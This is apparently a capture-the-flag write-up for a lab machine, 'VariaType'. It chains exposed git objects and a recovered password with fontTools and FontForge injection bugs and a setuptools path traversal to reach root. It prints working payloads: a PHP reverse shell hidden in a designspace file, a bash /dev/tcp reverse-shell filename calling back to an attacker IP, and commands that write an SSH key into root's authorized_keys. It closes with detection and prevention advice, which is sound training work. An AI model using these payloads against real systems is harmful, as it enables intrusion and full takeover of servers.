Attack Chain Overview
Exposed .git directory
↓
Recover deleted commit → hardcoded credentials
↓
CVE-2025-66034 (fontTools varLib)
XML injection + path traversal → PHP reverse shell (www-data)
↓
CVE-2024-25082 (FontForge ZIP filename injection)
Malicious ZIP → shell as steve
↓
sudo misconfig → setuptools PackageIndex path traversal
Write SSH pubkey → /root/.ssh/authorized_keys
↓
ROOTPhase 1: Reconnaissance & Git Object Recovery
What Was Found
The machine had an exposed .git directory on the subdomain portal. Initial files found:
HEAD → ref: refs/heads/master
master → 753b5f5957f2020480a19bf29a0ebc80267a4a3dA loose object file was also present, a zlib compressed git object.
Why Git Objects Work This Way
Git stores everything as content-addressed objects compressed with zlib. The SHA1 hash of the content IS the filename. Objects live at:
.git/objects/<first 2 chars of hash>/<remaining 38 chars>To read any object, you place it in the correct path inside a valid .git structure and use git cat-file -p <hash>.
Reconstructing the Repository
mkdir repo && cd repo
git init
mkdir -p .git/objects/75
mv ../3b5f5957f2020480a19bf29a0ebc80267a4a3d .git/objects/75/
git cat-file -p 753b5f5957f2020480a19bf29a0ebc80267a4a3dOutput:
tree c6ea13ef05d96cf3f35f62f87df24ade29d1d6b4
parent 5030e791b764cb2a50fcb3e2279fea9737444870
author Dev Team <dev@variatype.htb>
committer Dev Team <dev@variatype.htb>
fix: add gitbot user for automated validation pipelineThe commit message said "add gitbot user", meaning credentials were added in this commit. Following the object chain:
commit → tree → blob (auth.php)Each object was fetched directly from the web server:
wget http://portal.variatype.htb/.git/objects/c6/ea13ef...
wget http://portal.variatype.htb/.git/objects/b3/28305f...Reading the blob revealed:
<?php
$USERS = [
'gitbot' => 'G1tB0t_Acc3ss_2025!'
];Why deleted files still exist in git: Even if a developer deletes a file in a later commit, the blob object still exists in .git/objects/ because Git never garbage collects unless explicitly told to. This is why committing secrets is permanently dangerous, even after deletion.
Phase 2: CVE-2025-66034 (fontTools varLib RCE)
Vulnerability Summary
| Field | Detail |
|---|---|
| CVE | CVE-2025-66034 |
| Package | fonttools (pip) |
| Affected | >= 4.33.0, < 4.60.2 |
| Type | Arbitrary File Write + XML Injection → RCE |
Root Cause
Two flaws combined:
Flaw 1, Unsanitized filename in path join:
filename = vf.filename # taken directly from .designspace XML
output_path = os.path.join(output_dir, filename) # path traversal possible
vf.save(output_path) # writes to arbitrary locationThe fix in 4.60.2:
filename = os.path.basename(vf.filename) # strips traversal sequencesFlaw 2, XML injection via CDATA in labelname:
<labelname xml:lang="en"><![CDATA[<?php system('cmd'); ?>]]]]><![CDATA[>]]></labelname>The CDATA content gets embedded verbatim into the output font file. If that file has a .php extension and lands in a web-accessible directory, it executes as PHP.
How the App Processed Files
UPLOAD_FOLDER = '/tmp/variabype_uploads'
DOWNLOAD_FOLDER = '/var/www/portal.variatype.htb/public/files'
subprocess.run(
['fonttools', 'varLib', 'config.designspace'],
cwd=workdir,
check=True
)
# Then copies output file to DOWNLOAD_FOLDERThe Malicious .designspace Payload
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php
set_time_limit(0);
$ip='10.10.16.121';
$port=4444;
$sock=fsockopen($ip,$port);
$proc=proc_open('sh',array(0=>$sock,1=>$sock,2=>$sock),$pipes);
?>]]]]><![CDATA[>]]></labelname>
</axis>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location><dimension name="Weight" xvalue="100"/></location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location><dimension name="Weight" xvalue="400"/></location>
</source>
</sources>
<variable-fonts>
<variable-font name="Shell" filename="shell.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>Getting the Shell
# Terminal 1
nc -lvnp 4444
# Upload the 3 files via dashboard, then trigger:
curl http://portal.variatype.htb/files/shell.phpShell received as www-data.
Shell Stabilisation
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
stty rows 40 cols 160Phase 3: CVE-2024-25082 (FontForge ZIP Filename Injection)
The Vulnerable Script
process_client_submissions.bak ran as steve via a systemd timer. The critical vulnerable section:
# Checks the ZIP filename is safe (passes for evil.zip):
SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'
# But passes filename directly into Python string:
fontforge -lang=py -c "
font = fontforge.open('$file') # ← INJECTION HERE
"Why the Regex Didn't Protect Against This
The regex checked the ZIP container filename (evil.zip), which passed. But CVE-2024-25082 exploits the fact that FontForge processes filenames inside the ZIP. Those internal filenames were never checked and got injected into the Python -c string.
The Injection Payload
Internal ZIP filename:
');__import__('os').system('bash -c "bash -i >& /dev/tcp/10.10.16.121/5555 0>&1"')#.ttfWhen inserted into the FontForge command:
# Before injection:
font = fontforge.open('evil.ttf')
# After injection:
font = fontforge.open('');__import__('os').system('bash -c "..."')#.ttf')Why File Creation Required Python chr()
Creating a file with shell metacharacters in its name from bash fails because the shell interprets special characters. The solution was using Python's chr() to build the filename character by character:
name = (chr(39)+chr(41)+chr(59)+
"__import__"+chr(40)+chr(39)+"os"+chr(39)+chr(41)+
".system"+chr(40)+chr(39)+
"bash -c \"bash -i >& /dev/tcp/10.10.16.121/5555 0>&1\""+
chr(39)+chr(41)+"#.ttf")
open(name,'w').close()Building and Delivering the ZIP
# Create malicious file and zip it
python3 mkpayload.py
zip -j evil.zip zipbuild/*
# Transfer to upload directory via www-data shell
cp evil.zip /var/www/portal.variatype.htb/public/files/
# Listener on Kali
nc -lvnp 5555Shell received as steve.
User Flag
steve@variatype:~$ cat user.txtPhase 4: Privilege Escalation to Root
Sudo Rule Discovered
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *The Vulnerability: setuptools PackageIndex Path Traversal
from setuptools.package_index import PackageIndex
PLUGIN_DIR = "/opt/font-tools/validators"
index = PackageIndex()
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
# Derives local filename from URL path: URL-encoded slashes bypass directory restrictionWhat Was Tried and Why It Failed
Attempt 1, Standard ../ traversal: HTTP server resolved locally → 404
Attempt 2, %2F encoded slashes: Python's built-in HTTP server decoded %2F to / → 404
Fix: Replaced python3 -m http.server with a custom server that serves authorized_keys regardless of URL path:
class AnyHandler(BaseHTTPRequestHandler):
def do_GET(self):
with open("authorized_keys", "rb") as f:
data = f.read()
self.send_response(200)
self.end_headers()
self.wfile.write(data)Attempt 3, Double encoded %252F: Saved as literal %2F characters in filename, not path separators.
Attempt 4, Symlink inside validators: No write permission to /opt/font-tools/validators/.
What Finally Worked: Multiple Leading Slashes
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
"http://10.10.16.121:8080/%2F%2F%2F%2Froot%2F.ssh%2Fauthorized_keys"Result:
Plugin installed at: ////root/.ssh/authorized_keysWhy this worked: In Linux/Unix (POSIX), multiple consecutive forward slashes at the start of a path are normalized to a single /. So ////root/.ssh/authorized_keys is identical to /root/.ssh/authorized_keys. The %2F encoding decoded to / giving four leading slashes which the OS treated as the filesystem root, completely bypassing the PLUGIN_DIR restriction.
Getting Root
# Generate keypair on Kali
ssh-keygen -t rsa -f ~/hackthebox/VariaType/root_key -N ""
# Serve with custom HTTP server
cp root_key.pub authorized_keys
python3 server.py
# Exploit on steve's shell
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
"http://10.10.16.121:8080/%2F%2F%2F%2Froot%2F.ssh%2Fauthorized_keys"
# SSH as root
ssh -i ~/hackthebox/VariaType/root_key root@10.129.6.4Root Flag
root@variatype:~# cat /root/root.txtWhat Went Wrong Along the Way
HTTP server decoding %2F: Spent time debugging why path traversal wasn't working, the built-in Python HTTP server decoded %2F before serving, stripping the traversal. The fix (custom server ignoring URL path) was non-obvious.
Double encoding %252F: Tried double encoding to survive URL decoding, it survived but was saved as a literal string, not a path separator.
Symlink approach: Tried creating a symlink inside the validators directory, no write permissions blocked this.
Key insight: The POSIX multiple-slash normalization was the unlock. ////path equals /path in the filesystem, that's the behavior os.path.join() doesn't protect against.
Key Commands Reference
# Git object reconstruction
mkdir repo && cd repo && git init
mkdir -p .git/objects/75
mv <object_file> .git/objects/75/
git cat-file -p <full_hash>
# Fetch git objects from exposed server
wget http://portal.variatype.htb/.git/objects/<path>
# PHP reverse shell trigger
curl http://portal.variatype.htb/files/shell.php
# Build malicious ZIP for CVE-2024-25082
python3 mkpayload.py
zip -j evil.zip zipbuild/*
# Custom HTTP server (serves any file regardless of URL)
python3 server.py # class AnyHandler above
# PrivEsc via setuptools path traversal
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
"http://10.10.16.121:8080/%2F%2F%2F%2Froot%2F.ssh%2Fauthorized_keys"
# SSH as root
ssh -i root_key root@TARGET_IPLessons Learned
What Worked Well
- Following the git object chain: commit message saying "add gitbot user" was the signal to dig further. Always read commit messages.
- Testing all exploit attempts systematically: documented each failure which eventually led to the POSIX multiple-slash insight.
- Custom HTTP server: when the standard server doesn't cooperate, a 10-line custom handler solves it immediately.
What to Do Faster Next Time
- When path traversal with
%2Ffails, immediately test multiple leading slashes before trying double-encoding. - Check if the upload directory is web-accessible before assuming you need path traversal, sometimes you can just serve directly.
Detection & Defense
How to detect this attack:
- Alert on
.gitdirectory access in web server logs, any request to/.git/should trigger immediately - Monitor for new files with
.phpextension in web-accessible directories - Alert on process spawning from fontforge or fonttools processes
- Monitor systemd timer script execution and process children
- Alert on SSH key writes to
/root/.ssh/authorized_keys
How to prevent it:
- Block
.gitdirectories in nginx/apache config:location ~ /\.git { deny all; } - Keep fonttools updated, CVE-2025-66034 was patched in 4.60.2 with a single
os.path.basename()call - Never interpolate filenames into shell or Python strings, always validate and sanitize internal ZIP filenames
- Validate
os.path.realpath()against expected directories before writing files - Restrict sudo rules, giving any user sudo access to a script that takes a URL is almost always exploitable
Lessons Summary Table
| Finding | Root Cause | Real-World Fix |
|---|---|---|
Exposed .git directory | Web server serving entire web root | Block .git in nginx/apache config |
| Hardcoded creds in git history | Developer committed secrets then deleted them | Use environment variables or vaults |
| CVE-2025-66034 | os.path.join() with unsanitized user input | Sanitize with os.path.basename() |
| CVE-2024-25082 | Shell string interpolation of filenames | Never interpolate filenames into shell strings |
| setuptools path traversal | URL-decoded filename used directly as file path | Validate with os.path.realpath() |
////root/ bypass | POSIX path normalization of multiple slashes | Validate with os.path.realpath() |
CVE Summary
| CVE | Software | Type | Impact |
|---|---|---|---|
| CVE-2025-66034 | fonttools (pip) | XML injection + path traversal | RCE as www-data |
| CVE-2024-25082 | FontForge | ZIP filename injection into Python string | Shell as steve |
Tools Used
| Tool | Purpose |
|---|---|
git cat-file | Read raw git objects |
wget | Fetch git objects from exposed server |
fonttools | Local testing of CVE-2025-66034 |
zip / Python chr() | Build malicious ZIP for CVE-2024-25082 |
nc | Catch reverse shells |
python3 pty + stty | Upgrade dumb shell to full TTY |
| Custom Python HTTP server | Serve files regardless of URL path |
ssh-keygen | Generate keypair for root access |